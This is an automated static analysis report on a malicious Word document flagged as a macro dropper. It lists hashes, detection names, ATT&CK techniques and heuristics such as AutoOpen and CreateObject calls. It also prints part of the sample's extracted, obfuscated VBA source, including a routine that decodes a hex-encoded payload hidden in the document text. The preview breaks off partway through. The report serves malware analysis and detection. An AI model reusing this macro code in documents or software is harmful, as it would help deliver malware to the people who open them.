Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 61b8cf99d4c2c8a4…

MALICIOUS

Office (OLE)

3.37 MB Created: 2019-01-14 03:50:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: d8a5a375da7798be781cf3ea689ae7ab SHA-1: c9073998d2a202e944f21e973448062af4fd29c0 SHA-256: 61b8cf99d4c2c8a49827a5ee9d0e329cb2ba476f5c70e9eaf5fa0a144ed7bbb2
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject and GetObject calls. This indicates the macro is designed to execute code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6918056-0' further supports its role as a dropper. The document body content is unrelated to the malicious functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6918056-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6918056-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24027 bytes
SHA-256: 63cd8248832747052738426c27e4ddf64e99f66eb04e09d3a2b8b668f7a9d8d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Function KAlHOgTLErksOMlv5UZaW0nhfY3tvmBb2DwH2lZP(ByVal strAscii As String) As Byte

    Dim syHOtwvL_bK9B2TruXdjTTmDhq2grjfFz4Zo3Fxw As Byte
    Dim ZCX3T7FpjQlrWsYza4w3tfkGW5By4unPpHlhWjKa As Byte
    Dim LEYBZPK67pe_8u2Jhg7Ow8kPtw2e6HDRkmjQiKI7 As String * 1

    syHOtwvL_bK9B2TruXdjTTmDhq2grjfFz4Zo3Fxw = 0
    If (Len(strAscii) = 1) Then
        LEYBZPK67pe_8u2Jhg7Ow8kPtw2e6HDRkmjQiKI7 = Mid(strAscii, 1, 1)
        ZCX3T7FpjQlrWsYza4w3tfkGW5By4unPpHlhWjKa = Asc(LEYBZPK67pe_8u2Jhg7Ow8kPtw2e6HDRkmjQiKI7)
        If (ZCX3T7FpjQlrWsYza4w3tfkGW5By4unPpHlhWjKa >= 65 And ZCX3T7FpjQlrWsYza4w3tfkGW5By4unPpHlhWjKa <= 70) Then
            ZCX3T7FpjQlrWsYza4w3tfkGW5By4unPpHlhWjKa = ZCX3T7FpjQlrWsYza4w3tfkGW5By4unPpHlhWjKa - 65 + 10
        Else
            ZCX3T7FpjQlrWsYza4w3tfkGW5By4unPpHlhWjKa = ZCX3T7FpjQlrWsYza4w3tfkGW5By4unPpHlhWjKa - 48
        End If
        syHOtwvL_bK9B2TruXdjTTmDhq2grjfFz4Zo3Fxw = ZCX3T7FpjQlrWsYza4w3tfkGW5By4unPpHlhWjKa
    End If
    KAlHOgTLErksOMlv5UZaW0nhfY3tvmBb2DwH2lZP = syHOtwvL_bK9B2TruXdjTTmDhq2grjfFz4Zo3Fxw

End Function

Private Function XUk_t0MzLF5nbYBKc3sRdpghR9pbgEsKWae1HoOe(cb As Integer) As String

    Randomize
    Dim luqGgnHVFD_FcXECk87tNw0rMnGNbdrxz0s2JFz5 As String
    luqGgnHVFD_FcXECk87tNw0rMnGNbdrxz0s2JFz5 = "abcdefghijklmnopqrstuvwxyz"
    luqGgnHVFD_FcXECk87tNw0rMnGNbdrxz0s2JFz5 = luqGgnHVFD_FcXECk87tNw0rMnGNbdrxz0s2JFz5 & UCase(luqGgnHVFD_FcXECk87tNw0rMnGNbdrxz0s2JFz5) & "0123456789"

    For i = 1 To cb
        RandomString = RandomString & Mid$(luqGgnHVFD_FcXECk87tNw0rMnGNbdrxz0s2JFz5, Int(Rnd() * Len(luqGgnHVFD_FcXECk87tNw0rMnGNbdrxz0s2JFz5) + 1), 1)
    Next

    XUk_t0MzLF5nbYBKc3sRdpghR9pbgEsKWae1HoOe = RandomString

End Function

Private Function buJRhe051Nu_U7BxE28kBBj6clr0KA2PfdFKGp0C() As String
    Dim Q7AuHZFnJHv9CekQu_UUIUJrbs5buBUGz2DGWyKO As Document
    Dim Ii4uIiWkHDzKLGoWo8ieTtU7OQAACFUXf6bpQfJU As String
    Dim wMvS29VUFIhOewWepYHSImJ1JCuEuZ59qpI7Z14E As String * 1
    Dim VHVUn6JKbY0TxRca2t9rFhpHD7oQOOgnT2Y1rQEC As String * 1
    Dim ULtyYdBzcx4vTEZEhehgJUWnHE0wUbJcQyxVOSJp As Byte
    Dim wQDfKMuf3jKdzoU_Q5Qkd5F1QSGm64QqwSKUgGEW As Byte
    Dim eeJz_7o7FjJGgNQ2Du77PYODOWg7dLP606ESoAZm As Long
    Dim Xz2lh4UF48P8Xtvgr6L3RgUUvDF99YE3vMbfVslK As Long
    Dim t7zMymfAhvAMCHlj5YAb1Yfk1twOUfuRb1bhbKA9 As String
    Dim w3VNHAm5GIafeMOvSeL4QrH10JABv38lnrFZ3tEs As String
    Dim u0FyehJWQDyQTJohS_BEQFjcPIfGPEX6wdLnaM9Y As String

    Ii4uIiWkHDzKLGoWo8ieTtU7OQAACFUXf6bpQfJU = ActiveDocument.Paragraphs(ActiveDocument.Paragraphs.Count - 5).Range.Text
    u0FyehJWQDyQTJohS_BEQFjcPIfGPEX6wdLnaM9Y = ""
    For i = 1 To Len(Ii4uIiWkHDzKLGoWo8ieTtU7OQAACFUXf6bpQfJU) - 1 Step 2
        wMvS29VUFIhOewWepYHSImJ1JCuEuZ59qpI7Z14E = Mid(Ii4uIiWkHDzKLGoWo8ieTtU7OQAACFUXf6bpQfJU, i, 1)
        VHVUn6JKbY0TxRca2t9rFhpHD7oQOOgnT2Y1rQEC = Mid(Ii4uIiWkHDzKLGoWo8ieTtU7OQAACFUXf6bpQfJU, i + 1, 1)
        ULtyYdBzcx4vTEZEhehgJUWnHE0wUbJcQyxVOSJp = KAlHOgTLErksOMlv5UZaW0nhfY3tvmBb2DwH2lZP(wMvS29VUFIhOewWepYHSImJ1JCuEuZ59qpI7Z14E)
        wQDfKMuf3jKdzoU_Q5Qkd5F1QSGm64QqwSKUgGEW = KAlHOgTLErksOMlv5UZaW0nhfY3tvmBb2DwH2lZP(VHVUn6JKbY0TxRca2t9rFhpHD7oQOOgnT2Y1rQEC)
        Value = ULtyYdBzcx4vTEZEhehgJUWnHE0wUbJcQyxVOSJp * 16 + wQDfKMuf3jKdzoU_Q5Qkd5F1QSGm64QqwSKUgGEW
        u0FyehJWQDyQTJohS_BEQFjcPIfGPEX6wdLnaM9Y = u0FyehJWQDyQTJohS_BEQFjcPIfGPEX6wdLnaM9Y & Chr(Value)
    Next i
    
    buJRhe051Nu_U7BxE28kBBj6clr0KA2PfdFKGp0C = u0FyehJWQDyQTJohS_BEQFjcPIfGPEX6wdLnaM9Y

End Function

Private Function vDr2cpAMA3z2L4P9ZJKvJalIP8BJimakHVraxjfl(GVRWUd6IGUZ1YWI_8qfUZhtdfOcz2ibD6pg_is5t, regKey)
    On Error Resume Next
    GVRWUd6IGUZ1YWI_8qfUZhtdfOcz2ibD6pg_is5t.RegRead regKey
    vDr2cpAMA3z2L4P9ZJKv
... (truncated)